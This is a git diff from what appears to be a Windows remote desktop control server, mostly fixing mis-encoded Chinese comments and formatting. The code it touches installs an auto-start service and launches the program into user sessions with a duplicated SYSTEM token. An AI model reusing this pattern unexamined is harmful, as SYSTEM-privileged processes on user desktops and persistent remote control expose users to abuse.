打开SCM SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); if (!hSCM) { return (int)GetLastError(); } - // 鎵撳紑鏈嶅姟 + // 打开服务 SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_STOP | SERVICE_QUERY_STATUS); if (!hService) { int err = (int)GetLastError(); @@ -138,7 +138,7 @@ int ServerService_Stop(void) return err; } - // 鏌ヨ褰撳墠鐘舵€? + // 查询当前状态 SERVICE_STATUS status; if (!QueryServiceStatus(hService, &status)) { int err = (int)GetLastError(); @@ -147,14 +147,14 @@ int ServerService_Stop(void) return err; } - // 濡傛灉鏈嶅姟鏈繍琛岋紝鐩存帴杩斿洖鎴愬姛 + // 如果服务未运行,直接返回成功 if (status.dwCurrentState == SERVICE_STOPPED) { CloseServiceHandle(hService); CloseServiceHandle(hSCM); return ERROR_SUCCESS; } - // 鍙戦€佸仠姝㈡帶鍒跺懡浠? + // 发送停止控制命令 if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) { DWORD err = GetLastError(); if (err != ERROR_SERVICE_NOT_ACTIVE) { @@ -164,7 +164,7 @@ int ServerService_Stop(void) } } - // 绛夊緟鏈嶅姟鍋滄锛堟渶澶?0绉掞級 + // 等待服务停止(最多30秒) int waitCount = 0; while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 30) { Sleep(1000); @@ -190,9 +190,9 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) Mprintf("ServiceMain() called"); g_StatusHandle = RegisterServiceCtrlHandler( - SERVER_SERVICE_NAME, - ServiceCtrlHandler - ); + SERVER_SERVICE_NAME, + ServiceCtrlHandler + ); if (g_StatusHandle == NULL) { Mprintf("RegisterServiceCtrlHandler failed"); @@ -272,7 +272,7 @@ static void WINAPI ServiceCtrlHandler(DWORD ctrlCode) } } -// 鏈嶅姟宸ヤ綔绾跨▼ +// 服务工作线程 DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam) { (void)lpParam; @@ -283,7 +283,7 @@ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam) Mprintf("Worker thread started"); Mprintf("Service will launch Yama GUI in user sessions"); - // 鍒濆鍖栦細璇濈洃鎺у櫒 + // 初始化会话监控器 ServerSessionMonitor monitor; ServerSessionMonitor_Init(&monitor); @@ -296,10 +296,10 @@ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam) Mprintf("Session monitor started successfully"); Mprintf("Yama GUI will be launched automatically in user sessions"); - // 涓诲惊鐜紝鍙瓑寰呭仠姝俊鍙? + // 主循环,只等待停止信号 while (WaitForSingleObject(g_StopEvent, 10000) != WAIT_OBJECT_0) { heartbeatCount++; - if (heartbeatCount % 6 == 0) { // 姣?0绉掕褰曚竴娆★紙10绉?* 6 = 60绉掞級 + if (heartbeatCount % 6 == 0) { // 每60秒记录一次(10秒 * 6 = 60秒) sprintf_s(buf, sizeof(buf), "Service heartbeat - uptime: %d minutes", heartbeatCount / 6); Mprintf(buf); } @@ -318,10 +318,10 @@ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam) BOOL ServerService_Install(void) { SC_HANDLE schSCManager = OpenSCManager( - NULL, - NULL, - SC_MANAGER_ALL_ACCESS - ); + NULL, + NULL, + SC_MANAGER_ALL_ACCESS + ); if (schSCManager == NULL) { Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError()); @@ -337,7 +337,7 @@ BOOL ServerService_Install(void) return FALSE; } - // 娣诲姞 -service 鍙傛暟 + // 添加 -service 参数 char szPathWithArg[MAX_PATH + 32]; sprintf_s(szPathWithArg, sizeof(szPathWithArg), "\"%s\" -service", szPath); @@ -345,16 +345,16 @@ BOOL ServerService_Install(void) Mprintf("Executable path: %s\n", szPathWithArg); SC_HANDLE schService = CreateServiceA( - schSCManager, - SERVER_SERVICE_NAME, - SERVER_SERVICE_DISPLAY, - SERVICE_ALL_ACCESS, - SERVICE_WIN32_OWN_PROCESS, - SERVICE_AUTO_START, - SERVICE_ERROR_NORMAL, - szPathWithArg, - NULL, NULL, NULL, NULL, NULL - ); + schSCManager, + SERVER_SERVICE_NAME, + SERVER_SERVICE_DISPLAY, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + szPathWithArg, + NULL, NULL, NULL, NULL, NULL + ); if (schService == NULL) { DWORD err = GetLastError(); @@ -366,9 +366,11 @@ BOOL ServerService_Install(void) CloseServiceHandle(schService); } return TRUE; - } else if (err == ERROR_ACCESS_DENIED) { + } + else if (err == ERROR_ACCESS_DENIED) { Mprintf("ERROR: Access denied. Please run as Administrator\n"); - } else { + } + else { Mprintf("ERROR: CreateService failed (%d)\n", (int)err); } CloseServiceHandle(schSCManager); @@ -377,12 +379,12 @@ BOOL ServerService_Install(void) Mprintf("SUCCESS: Service created successfully\n"); - // 璁剧疆鏈嶅姟鎻忚堪 + // 设置服务描述 SERVICE_DESCRIPTION sd; sd.lpDescription = (LPSTR)SERVER_SERVICE_DESC; ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd); - // 绔嬪嵆鍚姩鏈嶅姟 + // 立即启动服务 DWORD err = 0; Mprintf("Starting service...\n"); if (StartServiceA(schService, 0, NULL)) { @@ -393,16 +395,19 @@ BOOL ServerService_Install(void) if (QueryServiceStatus(schService, &status)) { if (status.dwCurrentState == SERVICE_RUNNING) { Mprintf("SUCCESS: Service is running\n"); - } else { + } + else { Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState); } } - } else { + } + else { err = GetLastError(); if (err == ERROR_SERVICE_ALREADY_RUNNING) { Mprintf("INFO: Service is already running\n"); err = 0; - } else { + } + else { Mprintf("WARNING: StartService failed (%d)\n", (int)err); } } @@ -415,10 +420,10 @@ BOOL ServerService_Install(void) BOOL ServerService_Uninstall(void) { SC_HANDLE schSCManager = OpenSCManager( - NULL, - NULL, - SC_MANAGER_ALL_ACCESS - ); + NULL, + NULL, + SC_MANAGER_ALL_ACCESS + ); if (schSCManager == NULL) { Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError()); @@ -426,10 +431,10 @@ BOOL ServerService_Uninstall(void) } SC_HANDLE schService = OpenServiceA( - schSCManager, - SERVER_SERVICE_NAME, - SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS - ); + schSCManager, + SERVER_SERVICE_NAME, + SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS + ); if (schService == NULL) { Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError()); @@ -437,7 +442,7 @@ BOOL ServerService_Uninstall(void) return FALSE; } - // 鍋滄鏈嶅姟 + // 停止服务 SERVICE_STATUS status; Mprintf("Stopping service...\n"); if (ControlService(schService, SERVICE_CONTROL_STOP, &status)) { @@ -450,12 +455,14 @@ BOOL ServerService_Uninstall(void) Mprintf("."); Sleep(1000); waitCount++; - } else { + } + else { break; } } Mprintf("\n"); - } else { + } + else { DWORD err = GetLastError(); if (err != ERROR_SERVICE_NOT_ACTIVE) { Mprintf("WARNING: Failed to stop service (%d)\n", (int)err); @@ -463,12 +470,13 @@ BOOL ServerService_Uninstall(void) } BOOL r = FALSE; - // 鍒犻櫎鏈嶅姟 + // 删除服务 Mprintf("Deleting service...\n"); if (DeleteService(schService)) { Mprintf("SUCCESS: Service uninstalled successfully\n"); r = TRUE; - } else { + } + else { Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError()); } diff --git a/server/2015Remote/ServerServiceWrapper.h b/server/2015Remote/ServerServiceWrapper.h index 6067358..aa755f4 100644 --- a/server/2015Remote/ServerServiceWrapper.h +++ b/server/2015Remote/ServerServiceWrapper.h @@ -7,55 +7,55 @@ extern "C" { #endif -// 鏈嶅姟閰嶇疆锛氭湇鍔$浣跨敤涓嶅悓鐨勬湇鍔″悕 + // 服务配置:服务端使用不同的服务名 #define SERVER_SERVICE_NAME "YamaControlService" #define SERVER_SERVICE_DISPLAY "Yama Control Service" #define SERVER_SERVICE_DESC "Provides remote desktop control server functionality." /* -# 鍋滄鏈嶅姟 +# 停止服务 net stop YamaControlService -# 鏌ョ湅鐘舵€侊紙搴旇鏄剧ず STOPPED锛? +# 查看状态(应该显示 STOPPED) sc query YamaControlService -# 鍚姩鏈嶅姟 +# 启动服务 net start YamaControlService -# 鍐嶆鏌ョ湅鐘舵€侊紙搴旇鏄剧ず RUNNING锛? +# 再次查看状态(应该显示 RUNNING) sc query YamaControlService */ -// 妫€鏌ユ湇鍔$姸鎬? -// 鍙傛暟: -// registered - 杈撳嚭鍙傛暟锛屾湇鍔℃槸鍚﹀凡娉ㄥ唽 -// running - 杈撳嚭鍙傛暟锛屾湇鍔℃槸鍚︽鍦ㄨ繍琛? -// exePath - 杈撳嚭鍙傛暟锛屾湇鍔″彲鎵ц鏂囦欢璺緞锛堝彲涓篘ULL锛? -// exePathSize - exePath缂撳啿鍖哄ぇ灏? -// 杩斿洖: 鎴愬姛杩斿洖TRUE -BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, - char* exePath, size_t exePathSize); +// 检查服务状态 +// 参数: +// registered - 输出参数,服务是否已注册 +// running - 输出参数,服务是否正在运行 +// exePath - 输出参数,服务可执行文件路径(可为NULL) +// exePathSize - exePath缓冲区大小 +// 返回: 成功返回TRUE + BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, + char* exePath, size_t exePathSize); -// 绠€鍗曞惎鍔ㄦ湇鍔? -// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 -int ServerService_StartSimple(void); + // 简单启动服务 + // 返回: ERROR_SUCCESS 或错误码 + int ServerService_StartSimple(void); -// 杩愯鏈嶅姟锛堜綔涓烘湇鍔′富鍏ュ彛锛? -// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 -int ServerService_Run(void); + // 运行服务(作为服务主入口) + // 返回: ERROR_SUCCESS 或错误码 + int ServerService_Run(void); -// 鍋滄鏈嶅姟 -// 杩斿洖: ERROR_SUCCESS 鎴栭敊璇爜 -int ServerService_Stop(void); + // 停止服务 + // 返回: ERROR_SUCCESS 或错误码 + int ServerService_Stop(void); -// 瀹夎鏈嶅姟 -BOOL ServerService_Install(void); + // 安装服务 + BOOL ServerService_Install(void); -// 鍗歌浇鏈嶅姟 -BOOL ServerService_Uninstall(void); + // 卸载服务 + BOOL ServerService_Uninstall(void); -// 鏈嶅姟宸ヤ綔绾跨▼ -DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam); + // 服务工作线程 + DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam); #ifdef __cplusplus } diff --git a/server/2015Remote/ServerSessionMonitor.cpp b/server/2015Remote/ServerSessionMonitor.cpp index 9d12f80..362c03e 100644 --- a/server/2015Remote/ServerSessionMonitor.cpp +++ b/server/2015Remote/ServerSessionMonitor.cpp @@ -6,10 +6,10 @@ #pragma comment(lib, "userenv.lib") -// 鍔ㄦ€佹暟缁勫垵濮嬪閲? +// 动态数组初始容量 #define INITIAL_CAPACITY 4 -// 鍓嶅悜澹版槑 +// 前向声明 static DWORD WINAPI MonitorThreadProc(LPVOID param); static void MonitorLoop(ServerSessionMonitor* self); static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId); @@ -17,14 +17,14 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId); static void TerminateAllGui(ServerSessionMonitor* self); static void CleanupDeadProcesses(ServerSessionMonitor* self); -// 鍔ㄦ€佹暟缁勮緟鍔╁嚱鏁? +// 动态数组辅助函数 static void AgentArray_Init(ServerAgentProcessArray* arr); static void AgentArray_Free(ServerAgentProcessArray* arr); static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info); static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index); // ============================================ -// 鍔ㄦ€佹暟缁勫疄鐜? +// 动态数组实现 // ============================================ static void AgentArray_Init(ServerAgentProcessArray* arr) @@ -46,11 +46,11 @@ static void AgentArray_Free(ServerAgentProcessArray* arr) static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info) { - // 闇€瑕佹墿瀹? + // 需要扩容 if (arr->count >= arr->capacity) { size_t newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2; ServerAgentProcessInfo* newItems = (ServerAgentProcessInfo*)realloc( - arr->items, newCapacity * sizeof(ServerAgentProcessInfo)); + arr->items, newCapacity * sizeof(ServerAgentProcessInfo)); if (!newItems) { return FALSE; } @@ -69,7 +69,7 @@ static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index) return; } - // 鍚庨潰鐨勫厓绱犲墠绉? + // 后面的元素前移 for (size_t i = index; i < arr->count - 1; i++) { arr->items[i] = arr->items[i + 1]; } @@ -77,7 +77,7 @@ static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index) } // ============================================ -// 鍏叡鎺ュ彛瀹炵幇 +// 公共接口实现 // ============================================ void ServerSessionMonitor_Init(ServerSessionMonitor* self) @@ -130,7 +130,7 @@ void ServerSessionMonitor_Stop(ServerSessionMonitor* self) if (self->monitorThread) { DWORD waitResult = WaitForSingleObject(self->monitorThread, 10000); if (waitResult == WAIT_TIMEOUT) { - // 绾跨▼鏈湪瑙勫畾鏃堕棿鍐呴€€鍑猴紝寮哄埗缁堟 + // 线程未在规定时间内退出,强制终止 Mprintf("WARNING: Monitor thread did not exit in time, terminating..."); TerminateThread(self->monitorThread, 1); } @@ -138,7 +138,7 @@ void ServerSessionMonitor_Stop(ServerSessionMonitor* self) self->monitorThread = NULL; } - // 缁堟鎵€鏈塆UI杩涚▼ + // 终止所有GUI进程 Mprintf("Terminating all GUI processes..."); // TerminateAllGui(self); @@ -147,7 +147,7 @@ void ServerSessionMonitor_Stop(ServerSessionMonitor* self) } // ============================================ -// 鍐呴儴鍑芥暟瀹炵幇 +// 内部函数实现 // ============================================ static DWORD WINAPI MonitorThreadProc(LPVOID param) @@ -167,15 +167,15 @@ static void MonitorLoop(ServerSessionMonitor* self) while (self->running) { loopCount++; - // 娓呯悊宸茬粓姝㈢殑杩涚▼ + // 清理已终止的进程 CleanupDeadProcesses(self); - // 鏋氫妇鎵€鏈変細璇? + // 枚举所有会话 PWTS_SESSION_INFO pSessionInfo = NULL; DWORD dwCount = 0; if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, - &pSessionInfo, &dwCount)) { + &pSessionInfo, &dwCount)) { BOOL foundActiveSession = FALSE; @@ -184,29 +184,30 @@ static void MonitorLoop(ServerSessionMonitor* self) DWORD sessionId = pSessionInfo[i].SessionId; foundActiveSession = TRUE; - // 璁板綍浼氳瘽锛堟瘡5娆″惊鐜褰曚竴娆★紝閬垮厤鏃ュ織杩囧锛? + // 记录会话(每5次循环记录一次,避免日志过多) if (loopCount % 5 == 1) { sprintf_s(buf, sizeof(buf), "Active session found: ID=%d, Name=%s", - (int)sessionId, - pSessionInfo[i].pWinStationName); + (int)sessionId, + pSessionInfo[i].pWinStationName); Mprintf(buf); } - // 妫€鏌UI鏄惁鍦ㄨ浼氳瘽涓繍琛? + // 检查GUI是否在该会话中运行 if (!IsGuiRunningInSession(self, sessionId)) { sprintf_s(buf, sizeof(buf), "GUI not running in session %d, launching...", (int)sessionId); Mprintf(buf); if (LaunchGuiInSession(self, sessionId)) { Mprintf("GUI launched successfully"); - // 缁欑▼搴忎竴浜涙椂闂村惎鍔? + // 给程序一些时间启动 Sleep(2000); - } else { + } + else { Mprintf("Failed to launch GUI"); } } - // 鍙鐞嗙涓€涓椿鍔ㄤ細璇? + // 只处理第一个活动会话 break; } } @@ -216,13 +217,14 @@ static void MonitorLoop(ServerSessionMonitor* self) } WTSFreeMemory(pSessionInfo); - } else { + } + else { if (loopCount % 5 == 1) { Mprintf("WTSEnumerateSessions failed"); } } - // 姣?0绉掓鏌ヤ竴娆? + // 每10秒检查一次 for (int j = 0; j < 100 && self->running; j++) { Sleep(100); } @@ -233,26 +235,27 @@ static void MonitorLoop(ServerSessionMonitor* self) static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId) { - (void)self; // 鏈娇鐢? + (void)self; // 未使用 - // 鑾峰彇褰撳墠杩涚▼鐨?exe 鍚嶇О + // 获取当前进程的 exe 名称 char currentExeName[MAX_PATH]; if (!GetModuleFileNameA(NULL, currentExeName, MAX_PATH)) { return FALSE; } - // 鑾峰彇鏂囦欢鍚嶏紙涓嶅惈璺緞锛? + // 获取文件名(不含路径) char* pFileName = strrchr(currentExeName, '\\'); if (pFileName) { pFileName++; - } else { + } + else { pFileName = currentExeName; } - // 鑾峰彇褰撳墠鏈嶅姟杩涚▼鐨?PID + // 获取当前服务进程的 PID DWORD currentPID = GetCurrentProcessId(); - // 鍒涘缓杩涚▼蹇収 + // 创建进程快照 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { Mprintf("CreateToolhelp32Snapshot failed"); @@ -265,18 +268,18 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId) if (Process32First(hSnapshot, &pe32)) { do { - // 鏌ユ壘鍚屽悕鐨?exe + // 查找同名的 exe if (_stricmp(pe32.szExeFile, pFileName) == 0) { - // 鎺掗櫎鏈嶅姟杩涚▼鑷繁 + // 排除服务进程自己 if (pe32.th32ProcessID == currentPID) { continue; } - // 鑾峰彇杩涚▼鐨勪細璇滻D + // 获取进程的会话ID DWORD procSessionId; if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) { if (procSessionId == sessionId) { - // 鎵惧埌浜嗭細鍚屽悕 exe锛屼笉鍚?PID锛屽湪鐩爣浼氳瘽涓? + // 找到了:同名 exe,不同 PID,在目标会话中 found = TRUE; break; } @@ -289,7 +292,7 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId) return found; } -// 缁堟鎵€鏈塆UI杩涚▼ +// 终止所有GUI进程 static void TerminateAllGui(ServerSessionMonitor* self) { char buf[256]; @@ -303,26 +306,28 @@ static void TerminateAllGui(ServerSessionMonitor* self) ServerAgentProcessInfo* info = &self->agentProcesses.items[i]; sprintf_s(buf, sizeof(buf), "Terminating GUI PID=%d (Session %d)", - (int)info->processId, (int)info->sessionId); + (int)info->processId, (int)info->sessionId); Mprintf(buf); - // 妫€鏌ヨ繘绋嬫槸鍚﹁繕娲荤潃 + // 检查进程是否还活着 DWORD exitCode; if (GetExitCodeProcess(info->hProcess, &exitCode)) { if (exitCode == STILL_ACTIVE) { - // 杩涚▼杩樺湪杩愯锛岀粓姝㈠畠 + // 进程还在运行,终止它 if (!TerminateProcess(info->hProcess, 0)) { sprintf_s(buf, sizeof(buf), "WARNING: Failed to terminate PID=%d, error=%d", - (int)info->processId, (int)GetLastError()); + (int)info->processId, (int)GetLastError()); Mprintf(buf); - } else { + } + else { Mprintf("GUI terminated successfully"); - // 绛夊緟杩涚▼瀹屽叏閫€鍑? + // 等待进程完全退出 WaitForSingleObject(info->hProcess, 5000); } - } else { + } + else { sprintf_s(buf, sizeof(buf), "GUI PID=%d already exited with code %d", - (int)info->processId, (int)exitCode); + (int)info->processId, (int)exitCode); Mprintf(buf); } } @@ -330,13 +335,13 @@ static void TerminateAllGui(ServerSessionMonitor* self) SAFE_CLOSE_HANDLE(info->hProcess); } - self->agentProcesses.count = 0; // 娓呯┖鍒楄〃 + self->agentProcesses.count = 0; // 清空列表 LeaveCriticalSection(&self->csProcessList); Mprintf("All GUI processes terminated"); } -// 娓呯悊宸茬粡缁堟鐨勮繘绋? +// 清理已经终止的进程 static void CleanupDeadProcesses(ServerSessionMonitor* self) { char buf[256]; @@ -350,19 +355,20 @@ static void CleanupDeadProcesses(ServerSessionMonitor* self) DWORD exitCode; if (GetExitCodeProcess(info->hProcess, &exitCode)) { if (exitCode != STILL_ACTIVE) { - // 杩涚▼宸查€€鍑? + // 进程已退出 sprintf_s(buf, sizeof(buf), "GUI PID=%d exited with code %d, cleaning up", - (int)info->processId, (int)exitCode); + (int)info->processId, (int)exitCode); Mprintf(buf); SAFE_CLOSE_HANDLE(info->hProcess); AgentArray_RemoveAt(&self->agentProcesses, i); - continue; // 涓嶅鍔?i锛屽洜涓哄垹闄や簡鍏冪礌 + continue; // 不增加 i,因为删除了元素 } - } else { - // 鏃犳硶鑾峰彇閫€鍑轰唬鐮侊紝鍙兘杩涚▼宸蹭笉瀛樺湪 + } + else { + // 无法获取退出代码,可能进程已不存在 sprintf_s(buf, sizeof(buf), "Cannot query GUI PID=%d, removing from list", - (int)info->processId); + (int)info->processId); Mprintf(buf); SAFE_CLOSE_HANDLE(info->hProcess); @@ -389,9 +395,9 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) memset(&pi, 0, sizeof(pi)); si.cb = sizeof(STARTUPINFO); - si.lpDesktop = (LPSTR)"winsta0\\default"; // 鍏抽敭锛氭寚瀹氭闈? + si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面 - // 鑾峰彇褰撳墠鏈嶅姟杩涚▼鐨?SYSTEM 浠ょ墝 + // 获取当前服务进程的 SYSTEM 令牌 HANDLE hToken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { sprintf_s(buf, sizeof(buf), "OpenProcessToken failed: %d", (int)GetLastError()); @@ -399,17 +405,17 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) return FALSE; } - // 澶嶅埗涓哄彲鐢ㄤ簬鍒涘缓杩涚▼鐨勪富浠ょ墝 + // 复制为可用于创建进程的主令牌 HANDLE hDupToken = NULL; if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, - SecurityImpersonation, TokenPrimary, &hDupToken)) { + SecurityImpersonation, TokenPrimary, &hDupToken)) { sprintf_s(buf, sizeof(buf), "DuplicateTokenEx failed: %d", (int)GetLastError()); Mprintf(buf); SAFE_CLOSE_HANDLE(hToken); return FALSE; } - // 淇敼浠ょ墝鐨勪細璇?ID 涓虹洰鏍囩敤鎴蜂細璇? + // 修改令牌的会话 ID 为目标用户会话 if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) { sprintf_s(buf, sizeof(buf), "SetTokenInformation failed: %d", (int)GetLastError()); Mprintf(buf); @@ -420,7 +426,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) Mprintf("Token duplicated"); - // 鑾峰彇褰撳墠绋嬪簭璺緞锛堝氨鏄嚜宸憋級 + // 获取当前程序路径(就是自己) char exePath[MAX_PATH]; if (!GetModuleFileNameA(NULL, exePath, MAX_PATH)) { Mprintf("GetModuleFileName failed"); @@ -432,7 +438,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) sprintf_s(buf, sizeof(buf), "Service path: %s", exePath); Mprintf(buf); - // 妫€鏌ユ枃浠舵槸鍚﹀瓨鍦? + // 检查文件是否存在 DWORD fileAttr = GetFileAttributesA(exePath); if (fileAttr == INVALID_FILE_ATTRIBUTES) { sprintf_s(buf, sizeof(buf), "ERROR: Executable not found at: %s", exePath); @@ -442,14 +448,14 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) return FALSE; } - // 鏋勫缓鍛戒护琛岋細鍚屼竴涓?exe锛?浣嗘坊鍔?-agent 鍙傛暟 + // 构建命令行:同一个 exe, 但添加 -agent 参数 char cmdLine[MAX_PATH + 20]; sprintf_s(cmdLine, sizeof(cmdLine), "\"%s\" -agent", exePath); sprintf_s(buf, sizeof(buf), "Command line: %s", cmdLine); Mprintf(buf); - // 鑾峰彇鐢ㄦ埛浠ょ墝锛堢敤浜庤幏鍙栫幆澧冨潡锛? + // 获取用户令牌(用于获取环境块) LPVOID lpEnvironment = NULL; HANDLE hUserToken = NULL; if (!WTSQueryUserToken(sessionId, &hUserToken)) { @@ -457,7 +463,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) Mprintf(buf); } - // 浣跨敤鐢ㄦ埛浠ょ墝鍒涘缓鐜鍧? + // 使用用户令牌创建环境块 if (hUserToken) { if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) { Mprintf("CreateEnvironmentBlock failed"); @@ -465,20 +471,20 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) SAFE_CLOSE_HANDLE(hUserToken); } - // 鍦ㄧ敤鎴蜂細璇濅腑鍒涘缓杩涚▼锛圙UI绋嬪簭锛屼笉闅愯棌绐楀彛锛? + // 在用户会话中创建进程(GUI程序,不隐藏窗口) BOOL result = CreateProcessAsUserA( - hDupToken, - NULL, // 搴旂敤绋嬪簭鍚嶏紙鍦ㄥ懡浠よ涓В鏋愶級 - cmdLine, // 鍛戒护琛屽弬鏁帮細Yama.exe -agent - NULL, // 杩涚▼瀹夊叏灞炴€? - NULL, // 绾跨▼瀹夊叏灞炴€? - FALSE, // 涓嶇户鎵垮彞鏌? - NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI绋嬪簭涓嶉渶瑕?CREATE_NO_WINDOW - lpEnvironment, // 鐜鍙橀噺 - NULL, // 褰撳墠鐩綍 - &si, - &pi - ); + hDupToken, + NULL, // 应用程序名(在命令行中解析) + cmdLine, // 命令行参数:Yama.exe -agent + NULL, // 进程安全属性 + NULL, // 线程安全属性 + FALSE, // 不继承句柄 + NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW + lpEnvironment, // 环境变量 + NULL, // 当前目录 + &si, + &pi + ); if (lpEnvironment) { DestroyEnvironmentBlock(lpEnvironment); @@ -488,27 +494,30 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) sprintf_s(buf, sizeof(buf), "SUCCESS: GUI process created (PID=%d)", (int)pi.dwProcessId); Mprintf(buf); - // 淇濆瓨杩涚▼淇℃伅锛屼互渚垮仠姝㈡椂鍙互缁堟瀹? + // 保存进程信息,以便停止时可以终止它 EnterCriticalSection(&self->csProcessList); ServerAgentProcessInfo info; info.processId = pi.dwProcessId; info.sessionId = sessionId; - info.hProcess = pi.hProcess; // 涓嶅叧闂彞鏌勶紝鐣欑潃鍚庨潰缁堟 + info.hProcess = pi.hProcess; // 不关闭句柄,留着后面终止 AgentArray_Add(&self->agentProcesses, &info); LeaveCriticalSection(&self->csProcessList); - SAFE_CLOSE_HANDLE(pi.hThread); // 绾跨▼鍙ユ焺鍙互鍏抽棴 - } else { + SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭 + } + else { DWORD err = GetLastError(); sprintf_s(buf, sizeof(buf), "CreateProcessAsUser failed: %d", (int)err); Mprintf(buf); - // 鎻愪緵鏇磋缁嗙殑閿欒淇℃伅 + // 提供更详细的错误信息 if (err == ERROR_FILE_NOT_FOUND) { Mprintf("ERROR: Executable not found"); - } else if (err == ERROR_ACCESS_DENIED) { + } + else if (err == ERROR_ACCESS_DENIED) { Mprintf("ERROR: Access denied - service may not have sufficient privileges"); - } else if (err == 1314) { + } + else if (err == 1314) { Mprintf("ERROR: Service does not have SE_INCREASE_QUOTA privilege"); } } diff --git a/server/2015Remote/ServerSessionMonitor.h b/server/2015Remote/ServerSessionMonitor.h index 4410ade..83411e3 100644 --- a/server/2015Remote/ServerSessionMonitor.h +++ b/server/2015Remote/ServerSessionMonitor.h @@ -10,21 +10,21 @@ extern "C" { #pragma comment(lib, "wtsapi32.lib") -// GUI杩涚▼淇℃伅 +// GUI进程信息 typedef struct ServerAgentProcessInfo { DWORD processId; DWORD sessionId; HANDLE hProcess; } ServerAgentProcessInfo; -// GUI杩涚▼鏁扮粍锛堝姩鎬佹暟缁勶級 +// GUI进程数组(动态数组) typedef struct ServerAgentProcessArray { ServerAgentProcessInfo* items; size_t count; size_t capacity; } ServerAgentProcessArray; -// 浼氳瘽鐩戞帶鍣ㄧ粨鏋? +// 会话监控器结构 typedef struct ServerSessionMonitor { HANDLE monitorThread; BOOL running; @@ -32,16 +32,16 @@ typedef struct ServerSessionMonitor { ServerAgentProcessArray agentProcesses; } ServerSessionMonitor; -// 鍒濆鍖栦細璇濈洃鎺у櫒 +// 初始化会话监控器 void ServerSessionMonitor_Init(ServerSessionMonitor* self); -// 娓呯悊浼氳瘽鐩戞帶鍣ㄨ祫婧? +// 清理会话监控器资源 void ServerSessionMonitor_Cleanup(ServerSessionMonitor* self); -// 鍚姩浼氳瘽鐩戞帶 +// 启动会话监控 BOOL ServerSessionMonitor_Start(ServerSessionMonitor* self); -// 鍋滄浼氳瘽鐩戞帶 +// 停止会话监控 void ServerSessionMonitor_Stop(ServerSessionMonitor* self); #ifdef __cplusplus diff --git a/server/2015Remote/SortListCtrl.h b/server/2015Remote/SortListCtrl.h index 33dc8f0..e41a695 100644 --- a/server/2015Remote/SortListCtrl.h +++ b/server/2015Remote/SortListCtrl.h @@ -9,11 +9,11 @@ public: ~CSortListCtrl(void) {} - // 鏄惁涓哄崌搴? + // 是否为升序 bool m_bAsc; - // 褰撳墠鎺掑垪鐨勫簭 + // 当前排列的序 int m_nSortedCol; - afx_msg void OnLvnColumnclick(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnLvnColumnclick(NMHDR* pNMHDR, LRESULT* pResult); DECLARE_MESSAGE_MAP() };